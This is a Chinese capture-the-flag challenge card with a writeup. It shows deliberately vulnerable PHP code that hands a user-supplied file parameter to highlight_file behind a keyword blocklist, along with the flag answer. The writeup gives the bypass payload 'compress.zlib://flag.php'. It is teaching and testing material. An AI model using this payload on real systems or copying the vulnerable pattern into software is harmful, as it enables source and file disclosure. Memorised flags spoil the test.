[题目信息]:
题目名称 | 题目难度 |
---|---|
PHP-zlib协议 | 1 |
[题目考点]:
zlib: 的功能类似 gzopen(),但是其数据流还能被 fread() 和其他文件系统函数使用。
[Flag格式]:
SangFor{J5u2yaCzHtmCTKukEMHVnKPKGJZOnnqY}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:2057
[题目writeup]:
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
分析代码逻辑,与上一题相同。首先定义了filter()方法对用户输入进行验证和过滤,不能含有正则表达式当中的字符串,并且过滤了上一题所使用的filter。
在第二个if条件判断中,如果传入的值不是正常存在的文件,并且通过filter()方法检验通过即可调用highlight_file打印源码。
可以使用其他协议进行绕过,例如zlib协议
?file=compress.zlib://flag.php